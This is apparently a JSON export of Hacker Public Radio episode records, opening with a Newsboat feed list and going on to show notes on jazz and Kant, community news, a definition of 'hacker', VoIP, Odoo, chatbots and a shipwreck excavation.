                                                            # (Podcasts)\nhttp://gnuworldorder.info/ogg.xml \"Gnu World Order\"\n\n# Tuxjam.Otherside.Network\nhttps://tuxjam.otherside.network/feed \"TuxJam\"\nhttps://tuxjam.otherside.network/feed/uncut \"TuxJam Uncut\"\nhttps://thebugcast.org/category/podcast/feed \"The Bugcast\"\n\n# Hacker Public Radio\nhttp://hackerpublicradio.org/rss-future.php HackerPublicRadio_future_feed \"~Hacker Public Radio ~ Future feed\" (HPR)\nhttp://hackerpublicradio.org/hpr_ogg_rss.php \"HPR_two_week_feed\" (HPR)\nhttp://hackerpublicradio.org/comments_rss.php HPR_comment_feed \"HPR_Comments\" (HPR)\nhttps://archive.org/services/collection-rss.php?collection=dlarc-hackerpublicradio \"~HPR Amateur Radio - Archive.org\" (HPR)\n\n# Other Tech podcasts\nhttps://feeds.fireside.fm/asknoah/rss \"The Ask Noah Show\"\nhttps://feeds.feedburner.com/urandom-podcast/ogg \"Urandom Podcast\"\nhttps://ubuntu.social/@linuxmatters\n\n# (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA \"Luke Smith\" (Youtube) \nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCH6ttJZ3T5gA-r_7PYkHk9g \"SGOTI\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCVls1GmFKf6WlTraIb_IaJg \"DistroTube\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9x0AN7BWHpCDHSm9NiJFJQ \"Network Chuck\" (Youtube)\n\n# Import from Newpipe\n\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC_SLthyNX_ivd-dmsFgmJVg \"Jeremy Fielding\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ0-OtVpF0wOKEqT2Z1HEtA \"ElectroBOOM\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCv1Kcz-CuGM6mxzL3B1_Eiw \"Gardiner Bryant\" (Youtube)\nLoves Linux, video games and online privacy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC3s0BtrBJpwNDaflRSoiieQ \"Hak5\" (Youtube)\nSecurity show. Creators of the WiFi Pineapple, USB Rubber Ducky & more. \nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCR-DXc1voovS8nhAvccRZhg \"Jeff Geerling\" (Youtube)\nauthor, developer, maker, fan of Raspberry Pi and other SBC's (Single Board Computers\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCzgA9CBrIXPtkB2yNTTiy1w \"Level 2 Jeff\" (Youtube)\nJeff Geerling, but more advanced\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLx053rWZxCiYWsBETgdKrQ \"LGR\" (Youtube)\nRetro Gaming and computing\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCXuqSBlHAE6Xw-yeJA0Tunw \"Linus Tech Tips\" (Youtube)\nReviews, engineering projects, and news\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ \"LockPickingLawyer\" (Youtube)\nPoints out weaknesses and defect in physical security locks\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w \"Modern Vintage Gamer\" (Youtube)\nFocus on modern and retro tech gaming\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCP8QhVVoM7IKD0YwnvnPPbg \"Pater Practicus\" (Youtube)\nVaried collection of project videos from model railways to Raspberry Pi\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjr2bPAyPV7t35MvcgT3W8Q \"The Hated One\" (Youtube)\nCreating video essays on privacy, monopoly power, corruption\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCo71RUe6DX4w-Vd47rFLXPg \"typecraft\" (Youtube)\nFocus on NeoVim\n\n## From Mrs. Archer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCg6gPGh8HU2U01vaFCAsvmQ \"Chris Titus Tech\" (Youtube)\nDebloat Windows and Learn Linux Videos\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCoryWpk4QVYKFCJul9KBdyw \"Switched To Linux\" (Youtube)\nhelping people make the switch to a Linux based desktop system and get real work done.\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJf7AT2BzFT-31z0d-bc8Rg \"Windows, computers and Technology\" (Youtube)\nChannel run by a PC enthusiast\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw \"The Linux Experiment\" (Youtube)\nJust Linux desktop news, simple tutorials, application spotlights, and opinion pieces\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCmyGZ0689ODyReHw3rsKLtQ \"Michael Tunnell\" (Youtube)\nHost of This Week in Linux weekly news show.\n\n
                                                            \n

                                                            \n Quick tip

                                                            \n

                                                            \n Start newsboat with a different url list, for example

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            newsboat -u ~/.config/newsboat/urls-trains\n
                                                            \n

                                                            \n \n

                                                            \n
                                                            \nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy55vDLvGWe9DqcLi7hFd_g \"Woodside Train Camera @woodsidetraincam\" (Youtube) (Trains)\n\n
                                                            \n \n \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Newsboat, Podcasts, Youtube","version":0,"downloads":0,"valid":1}, {"id":4435,"date":"2025-08-01","title":"Philosophy, Cosmology, Physics, and just what is up with Hairy Larry's brain.","duration":550,"summary":"Immanuel Kant was an influential philosopher back in the 18th he inspired this song.","notes":"\n

                                                            \nDJ Hairy Larry Presents Hairy Larry Playing Noumenology

                                                            \n

                                                            \nFrom The Archives Of Something Blue 2025-01-12

                                                            \n

                                                            \nThanks Marty, today I'm going to improvise jazz piano on a song inspired by Immanuel Kant.

                                                            \n

                                                            \nNow Immanuel Kant was an influential philosopher back in the 18th century and he remains influential today. Kant created a dichotomy between phenomenon and noumena where phenomenon applies to things we can perceive with the senses and noumena are things that cannot be perceived. So I wrote this song called \"Noumenolgy\" about the study of things that cannot be perceived.

                                                            \n

                                                            \nAt first I thought this would be an ideal academic tenure, I mean, who could prove you wrong? But further thought led me to many scientists who deal with noumena on a daily basis.

                                                            \n

                                                            \nTake cosmology for instance, the study of the origins of the universe. Cosmologists have come up with the idea of the big bang, something that happened about 14 billion years ago. They check how fast the universe is expanding to come up with a number like that. And they keep building bigger and bigger telescopes because the farther away something is the longer it took for it's light to get to us which means we're really looking back into the past when we look at distant galaxies.

                                                            \n

                                                            \nWell, the big bang is noumenal. I mean, nobody's going to actually perceive it. So you could say that some cosmologists are, in fact, noumenologists.

                                                            \n

                                                            \nOr take particle physics. String theory, where we look at the stuff that makes protons and electrons, started as a mathematical exercise without proof in the real world. Definitely noumenologically inclined.

                                                            \n

                                                            \nBut those particle physicists kept building bigger and bigger cyclotrons banging atoms together to see what escaped and they started detecting the mathematically predicted sub-particles. I read last week that they discovered a particle that has mass going in one direction and no mass going in the other. Now, how does that work?

                                                            \n

                                                            \nMoving on from philosophy, cosmology, and physics to noumena that actually affect ordinary people. Songwriters have written more songs about it than any other subject. Stories about it finance the publishing industry allowing them to publish books on philosophy and cosmology. And Jesus preached about it as his core message. Of course, I'm talking about love, something everyone experiences that has no phenomenal existence.

                                                            \n

                                                            \nYou can't see it. You can't touch it. What is love? remains a valid philosophical question. So there we are. Back to Kant.

                                                            \n

                                                            \nOn the song \"Noumenology\" I scat sing with a bebop and a doowop replacing actual words. So I got to thinking this morning, maybe I should write a lyric? Maybe about a cosmologist and a physicist who fall in love. Or even better a cosmologist and a physicist who bond over their shared their love for noumenology.

                                                            \n

                                                            \nWhich brings us to the big question. Just what is up with Hairy Larry's brain and how does he come up with this stuff? I'm going to reveal my secret. Sometimes it's dreams. And sometimes, in the morning, when I'm not ready to get out of bed, you know what I mean, you've been there, my mind just goes tick tick tick and the next thing you know I've written another podcast.

                                                            \n

                                                            \nSo now, from my \"Hairy Larry Livestreams\" album, here I am scat singing to \"Noumenology\".

                                                            \n

                                                            \nDJ Hairy Larry Presents Hairy Larry Playing Noumenology

                                                            \n

                                                            \nFrom The Archives Of Something Blue 2024-08-11

                                                            \n

                                                            \n\nhttps://sbblues.com/2025/01/13/dj-hairy-larry-presents-hairy-larry-playing-noumenology/\n

                                                            \n

                                                            \nHairy Larry Livestream

                                                            \n

                                                            \nSomething Blue Archives

                                                            \n

                                                            \n\nhttps://archive.org/details/hairylarrylivestreams\n

                                                            \n

                                                            \nSomething Blue Archives - List Of Concerts

                                                            \n

                                                            \n\nhttps://archive.org/details/somethingbluearchives?sort=-publicdate\n

                                                            \n

                                                            \nmusic

                                                            \n

                                                            \nAnd that's Hairy Larry singing \"Noumenology\". Don't miss Something Blue, Saturday night at 10:00, for more piano improvisatation from my \"Hairy Larry Livestreams\" album. Plus Sun Ra, David Dellacroce, Lee Ritenour, and Dave Grusin.

                                                            \n

                                                            \nAnd that's Hairy Larry singing \"Noumenology\". Don't miss Something Blue, tonight at 10:00, for more piano improvisatation from my \"Hairy Larry Livestreams\" album. Plus Sun Ra, David Dellacroce, Lee Ritenour, and Dave Grusin.

                                                            \n\n\n","hostid":436,"series":22,"explicit":0,"license":"CC-BY-SA","tags":"philosophy, cosmology, physics, music, Noumenology, jazz, composer, writer, podcaster","version":0,"downloads":0,"valid":1}, {"id":4436,"date":"2025-08-04","title":"HPR Community News for July 2025","duration":2187,"summary":"HPR Volunteers talk about shows released and comments posted in July 2025","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4412Tue2025-07-01Parkinson Tribly's Story: The Prisoner of Unit 731Antoine
                                                            4413Wed2025-07-02KDE custom shortcuts are easy and usefulgemlog
                                                            4414Thu2025-07-03Bellroy Tech Kit ReviewKevie
                                                            4415Fri2025-07-04Sony WH-CH700N A2DP stops working in FedoraKen Fallon
                                                            4416Mon2025-07-07HPR Community News for June 2025HPR Volunteers
                                                            4417Tue2025-07-08Newest matching fileDave Morriss
                                                            4418Wed2025-07-09My Desktop ApplicationsKevie
                                                            4419Thu2025-07-10YouTube Subscriptions 2025 #1Ahuka
                                                            4420Fri2025-07-11The First Doctor, Part 2Ahuka
                                                            4421Mon2025-07-14Content ModerationLee
                                                            4422Tue2025-07-15hajime - part 2 - in depthoxo
                                                            4423Wed2025-07-16YouTube Subscriptions 2025 #2Ahuka
                                                            4424Thu2025-07-17How I use Newsboat for Podcasts and RedditArcher72
                                                            4425Fri2025-07-18Introducing Linux MattersKen Fallon
                                                            4426Mon2025-07-21My Command Line ApplicationsKevie
                                                            4427Tue2025-07-22Tale of Two (Wireless) KeyboardsMoss Bliss
                                                            4428Wed2025-07-23Fixing AVI IndexesAhuka
                                                            4429Thu2025-07-24Handcrafting and Bartering discussion w. ElsbethElsbeth
                                                            4430Fri2025-07-25Playing Civilization V, Part 1Ahuka
                                                            4431Mon2025-07-28Thermosol refill challengesoperat0r
                                                            4432Tue2025-07-29YouTube Subscriptions 2025 #3Ahuka
                                                            4433Wed2025-07-30Nerd Responce to URandom Podcastoperat0r
                                                            4434Thu2025-07-31Newsboat part 2 - Podcasts and YoutubeArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 21 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr4412\n(2025-07-01) \"Parkinson Tribly's Story: The Prisoner of Unit 731\"\nby Antoine.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2025-07-01:\n\"I loved the show\"
                                                              • Comment 2:\nAntoine on 2025-07-05:\n\"Glad w/ your interest\"
                                                              • Comment 3:\nKevin O'Brien on 2025-07-05:\n\"Studying history\"

                                                              \n
                                                            • hpr4416\n(2025-07-07) \"HPR Community News for June 2025\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-07-04:\n\"Policy Check\"
                                                              • Comment 2:\nTorin Doyle on 2025-07-10:\n\"Thanks.\"

                                                              \n
                                                            • hpr4417\n(2025-07-08) \"Newest matching file\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-06-23:\n\"It's in my memory\"
                                                              • Comment 2:\nToeJet on 2025-07-08:\n\"Alternate method\"
                                                              • Comment 3:\nDave Morriss on 2025-07-31:\n\"Thanks Archer72\"
                                                              • Comment 4:\nDave Morriss on 2025-07-31:\n\"ToeJet\"

                                                              \n
                                                            • hpr4419\n(2025-07-10) \"YouTube Subscriptions 2025 #1\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-07-11:\n\"Stories\"

                                                              \n
                                                            • hpr4421\n(2025-07-14) \"Content Moderation\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2025-07-16:\n\"Nice discussion\"

                                                              \n
                                                            • hpr4423\n(2025-07-16) \"YouTube Subscriptions 2025 #2\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-07-20:\n\"Easy listening\"

                                                              \n
                                                            • hpr4424\n(2025-07-17) \"How I use Newsboat for Podcasts and Reddit\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAntoine on 2025-07-18:\n\"Thank you\"
                                                              • Comment 2:\nArcher72 on 2025-07-20:\n\"Re: Antoine's thank you\"
                                                              • Comment 3:\nArcher72 on 2025-07-20:\n\"Open in Browser\"
                                                              • Comment 4:\nAntoine on 2025-07-22:\n\"Re: Archer 72 - That's what I understood\"

                                                              \n
                                                            • hpr4425\n(2025-07-18) \"Introducing Linux Matters\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-07-18:\n\"Not as good as Ubuntu Podcast.\"
                                                              • Comment 2:\nTorin Doyle on 2025-07-19:\n\"Music for LM\"

                                                              \n
                                                            • hpr4426\n(2025-07-21) \"My Command Line Applications\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noxp on 2025-07-25:\n\"fastfetch\"
                                                              • Comment 2:\nKevie on 2025-07-25:\n\"thanks oxp\"
                                                              • Comment 3:\nArcher72 on 2025-07-27:\n\"lynx browser\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-July/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4437,"date":"2025-08-05","title":"One Possible Definition of \"Hacker\"","duration":572,"summary":"A Definition of Hacker","notes":"\n

                                                            \nHello folks of Hacker Public Radio.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\"A hacker is someone who invades computers\". \"A hacker is someone who codes\". \"Hacker is someone in love with technology\". \"Hacker is a geek, who is a person who likes nerdy things\".

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAll of those are more or less correct and of course you know someone that applies one of those popular concepts of the term. I'll defend one other, that can be as imprecise as every other, but, I feel, brings the concept closer to the general meaning of the word: \"A hacker is someone in pursuit of efficiency and knowledge, be it in some specific field or maybe in anything that can be known\".

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTo be a hacker is more a characteristic of the brain than of something someone does. It's targeted to what achieve emotional, relevant responses to the person, that has to do with purpose. Everyone has a purpose, and we can see purpose as a matrix.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPURPOSE:

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n

                                                            \n

                                                            \nI  | 

                                                            \n

                                                            \nM | Relevant      | Relevant

                                                            \n

                                                            \nP | purpose       | purpose

                                                            \n

                                                            \nO | + no success  | + success

                                                            \n

                                                            \nR | - - - - - - - - - - - - - - - -

                                                            \n

                                                            \nT |

                                                            \n

                                                            \nA | Not relevant  | Not relevant

                                                            \n

                                                            \nN | purpose      | purpose

                                                            \n

                                                            \nC | + no success  | + success

                                                            \n

                                                            \nE |

                                                            \n

                                                            \n* * * * * * * * * * * * * *

                                                            \n

                                                            \nSUCCESS

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhere is the happy hacker located? Let's remember, a hacker is someone that seeks out meaning. The definition proposed in this show is: \"A hacker is someone in pursuit of efficiency and knowledge\". So, the blessed hacer is the one on the top of the matrix of purpose: it is someone that has a purpose that is relevant to him. He does not need success, he needs a reason to pursue it, even though the results are not always 100% dependent on him.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf someone gives him (or her, of course) one ideia of purpose, and he adopts it as his personal search, he can achieve great success  be it on any area you can imagine. But, if it is not of his heart, he will end up being less than he could be, feeling unsuccessful. Because, a hacker is not searching for efficiency on the void: he needs his brain inputted in what has relevance on this own, intimate understanding of the universe. And this is why \"a hacker is someone in pursuit of knowledge and efficiency\". Both together, conveying as a meaning, a meaning the hacker dedicates himself to, and that makes him happy, even in days, months or years without observable results.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThat need of purpose is not common to humanity.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThere are many many people happy in working on what comes at hand, receiving the payment, ranting about the payment and living the life Learning, pursuing purposes, lacking empathy (as hackers sometimes do), are not traits of personality of many many people. They do not try to use their brains to maximum learning, to have transcending conversations, to, eventually, teaching other people, formally or informally.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhy this contrast is presented? Because a hacker is someone different, not only in the tastes and preferences. It's not a matter of what you like more, or how you prefer to do or not to do things. It's an entirely differen mind, more sensitive in some parts, more out-of-this-world in some others.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThose were some points of a possible definition of hacker — that involves efficiency and knowledge as a particular composition of his thinking and feeling structure Passing through the blessings and difficulties of this particular mode of seeing the world, the universe and so on.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo this is why there are computer hackers, life hackers, hackers, simply... and not everyone will end their lives knowing how to make a computer say Hello World. — Because a hacker can know and do many things — like crocheting clothes on Second Life — but not necessarily will have any interest in programming

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnd every hacker is different.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAre you one? Do you think someone can become a hacker or is this a form factor, a person comes to be without operation of the will?

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nYou may leave a comment or, record an episode here at Hacker Public Radio.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHere with you is Antoine.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBye bye.

                                                            \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hacker definition, concept of hacker, Matrix of purpose","version":0,"downloads":0,"valid":1}, {"id":4438,"date":"2025-08-06","title":"doodoo zero ","duration":394,"summary":"episode zero in a mini-series about creating a todo application","notes":"\n

                                                            \n This episode is the \"why?\" episode. Why am I doing this?

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n code for doodoo is being posted to https://gitlab.com/jezra/doodoo

                                                            \n ","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, software development, dung","version":0,"downloads":0,"valid":1}, {"id":4439,"date":"2025-08-07","title":"Rejecting a show ?","duration":1401,"summary":"The reason given is \"using HPR as a means to push a particular product or view\" ","notes":"\n

                                                            \nA reading of the comments on the Mail list discussion \nRejecting a show on the grounds that it is \"using HPR as a means to push a particular product or view\" \n 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSee: \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-July/004883.html\n

                                                            \n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR, policy, Proselytism","version":0,"downloads":0,"valid":1}, {"id":4440,"date":"2025-08-08","title":"The HOPE conference.","duration":58,"summary":"A quick introduction to the Hackers on Planet Earth conference.","notes":"\n

                                                            \n Hackers on Planet Earth

                                                            \n

                                                            \n Now an annual conference

                                                            \n

                                                            \n Inspired by 2600 magazine, a creative and diverse event.

                                                            \n

                                                            \n You'll see villages, live performances, demonstrations, vintage\n computers, ham radio, lockpicking, learn to solder. Too much to\n see.

                                                            \n

                                                            \n It's reasonably priced, always fun.

                                                            \n

                                                            \n August 15-17th in Queens New York. More details at https://hope.net If you're in the\n area, try to make it!

                                                            ","hostid":444,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hope,hackers,NY,conference,2600","version":0,"downloads":0,"valid":1}, {"id":4441,"date":"2025-08-11","title":"Voice Over IP","duration":662,"summary":"Lee talks about using a Voice Over IP Telephone","notes":"\n

                                                            \n \n Voice over Internet Protocol (VoIP), also known as IP telephony,\n is a set of technologies used primarily for voice communication\n sessions over Internet Protocol (IP) networks, such as the\n Internet. VoIP enables voice calls to be transmitted as data\n packets, facilitating various methods of voice communication.\n

                                                            \n
                                                              \n
                                                            • \n Voice over IP - \n https://en.wikipedia.org/wiki/Voice_over_IP\n
                                                            • \n
                                                            • \n Plain Old Telephone System (POTS) - \n https://en.wikipedia.org/wiki/Plain_old_telephone_service\n
                                                            • \n
                                                            • \n Retirement of circuit-switched public switched telephone network\n (in the UK) - \nhttps://en.wikipedia.org/wiki/Telephony_copper_plant_retirement_in_the_United_Kingdom\n
                                                            • \n
                                                            • \n Session Initiation Protocol (SIP) - \n https://www.ietf.org/rfc/rfc3261.txt\n
                                                            • \n
                                                            • \n Network Address Translator (NAT) - \n https://datatracker.ietf.org/doc/html/rfc2663\n
                                                            • \n
                                                            • \n Session Traversal Utilities for NAT (STUN) - \n https://datatracker.ietf.org/doc/html/rfc5389\n
                                                            • \n
                                                            • \n Voice over IP Companies - \n https://en.wikipedia.org/wiki/List_of_VoIP_companies\n
                                                            • \n
                                                            • \n Voice over IP Hacking - \n https://en.wikipedia.org/wiki/VoIP_vulnerabilities\n
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"voip, telephony","version":0,"downloads":0,"valid":1}, {"id":4442,"date":"2025-08-12","title":"Orthopedagogiek - what it is.","duration":502,"summary":"Manon explains what this field of care is and why we need it.","notes":"\n

                                                            \n In today's show, Manon describes the field of Orthopedagogiek is,\n This is an established field in care in the Netherlands and other\n European Countries. It takes a broader view of identifying issues\n with people in relation to their surroundings.

                                                            \n

                                                            \n Links.

                                                            \n \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n

                                                            ","hostid":449,"series":71,"explicit":0,"license":"CC-BY-SA","tags":"Orthopedagogiek, Mental Health, Netherlands","version":0,"downloads":0,"valid":1}, {"id":4443,"date":"2025-08-13","title":"The First Doctor, Part 3","duration":709,"summary":"A continuing look at the first Doctor Who.","notes":"\n

                                                            \n \n This episode was originally posted as hpr4440, with thanks to\n Ahuka for allowing us to move it.\n

                                                            \n

                                                            \n This is a further look at the stories of the First Doctor,\n portrayed by William Hartnell, during the 1960s.

                                                            \n

                                                            \n Links:

                                                            \n \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Doctor Who, William Hartnell","version":0,"downloads":0,"valid":1}, {"id":4444,"date":"2025-08-14","title":"Introduction into the E.R.P. application called Odoo","duration":1475,"summary":"In this podcast I give a small introduction into the E.R.P. application called Odoo. ","notes":"\n

                                                            \n Odoo is a business management software suite developed in\n Belgium. It includes modules for customer relationship\n management, e-commerce, billing, accounting,\n manufacturing, warehouse operations, project management, and\n inventory management.
                                                            \n

                                                            \n \n

                                                            Links

                                                            \n ","hostid":369,"series":126,"explicit":0,"license":"CC-BY-SA","tags":"odoo,erp,application","version":0,"downloads":0,"valid":1}, {"id":4445,"date":"2025-08-15","title":"doodoo one","duration":580,"summary":"episode 1 of a miniseries about creating a todo app","notes":"

                                                            Can't keep track of a notebook ?
                                                            \n

                                                            \n

                                                            Always know where your phone is ?
                                                            \n

                                                            \n

                                                            Want to keep track of your doodoo ?

                                                            \n

                                                            microdot web\n framework

                                                            ","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, html, javascript, todo","version":0,"downloads":0,"valid":1}, {"id":4446,"date":"2025-08-18","title":"Calling on AI to resque HPR","duration":1183,"summary":"LLM chatbots are going to explain us how to save Hacker Public Radio","notes":"\n

                                                            \nToo much episodes came from the reserve queue. So this is the ideal moment to give myself a good feeling and upload an episode to HPR - feeling really important about how I helped out the project.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBut then again... I'm lazy... so I called in the help of AI

                                                            \n

                                                            \nAnd I'm not a bit lazy... so I called in the help of SIX LLM chatbots.

                                                            \n

                                                            \nI asked them all how we can save HPR from oblivion.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe good news: all six chatbots agree that HPR isn't going away.

                                                            \n

                                                            \nThe bad news: they have different opinions on all the rest.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nReviewing the differences between different chatbots and how they answer questions...

                                                            \n

                                                            \nHere are the threads:

                                                            \n\n

                                                            \nFor Mistral (Le Chat) - I accidentally copied the wrong link, so I don't have it anymore.

                                                            \n

                                                            \nFor Deepseek: this one doesn't have a share function. I have it in offline form though.

                                                            \n\n\n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AI, llm, comparison","version":0,"downloads":0,"valid":1}, {"id":4447,"date":"2025-08-19","title":"Interview with Margreet Pakkert at the Flevoland 2025 Field Work Archaeology Open Day.","duration":799,"summary":"The shipwrek is a Dutch Waterschip with two chambers to keep fish alive until reaching port.","notes":"

                                                            Today we talk with Margreet Pakkert, who was kind enough to record an interview during the Flevoland 2025 Field Work Archaeology Open Day . The students were supervised as they document a Dutch Waterschip . This is a type of fishing vessel that was common in the Zuiderzee before it was reclaimed to form the province of Flevoland . As fish were caught they were kept alive in two chambers in the boat that were open to the sea¸ allowing the fishermen to deliver the freshest of fish to their market .

                                                            As the water table in Flevoland is lowering, the shipwreck will soon rot away. So the team are out teaching students the craft of documenting the find and preserving what is unique. The ship itself sank between 1520 and 1530.

                                                            \n\n\n\n

                                                            \nDownload hpr4447_VID_20250802_100139Z.mp4 video.\n

                                                            \n\n\n

                                                            Links

                                                            \n\n\n

                                                            Images

                                                            \n\n

                                                            The front/Fore

                                                            \n\n

                                                            \nThere is a large event tent often used for weddings, covering the escalation area.\nThe legs of two people can be seen standing on the grass above two archaeologists who are in the wreck.\nFrom the grass level, there is a 30cm/1 Foot layer of sandy soil until there wreck begins.\nThe body of the ship is exposed and we can see the interlocking planks that form the hull.\nThere is a \"stepping stone\" path made from sand bags from the keel/center spine of the ship, to the surface.\nOne archaeologist stands at the end of this path with a bucket and at his feet is a scoop that he is using to fill it.\nThe lower part of the ship is filling with water that is seeping in from the surrounding ground.\nAnother archaeologist stands in the Bow/Front of the ship with a drawing board where she is making a record of the find.\nThe view down the tent from front to back. The ship lies about 15\nDegrees to port (left in direction of travel)\nA photographer is taking pictures.\n

                                                            \n\n

                                                            \n\n\n\n\n\n\n\n\n

                                                            The bun/fish compartment

                                                            \n

                                                            \nIn the body of the ship we see three wooden partitions, that form\nthe two chambers that were used to keep the fish alive.\nAlthough not visible to the untrained eye, there are holes to the\noutside sea.\n

                                                            \n\n\n\n\n\n\n\n

                                                            The Mast hole in the keel

                                                            \n

                                                            \n\n\n\n
                                                            \nA close up of the 2M/6Foot wooden sleeper that lies on a forklift\npallet.\nIt is about 15CM/6Inches thick.\nThis has a about 30cm/1 Foot square hole in it, that is only about\n5CM/2Inch deep.\nThis was used to hold the bottom of the mast.\n

                                                            \n\n

                                                            The Timbers

                                                            \n

                                                            \nViews of the overlapping timbers with cut marks, and pins holding them together.\n

                                                            \n\n\n\n\n\n\n\n\n\n\n

                                                            The Back/Aft

                                                            \n\n

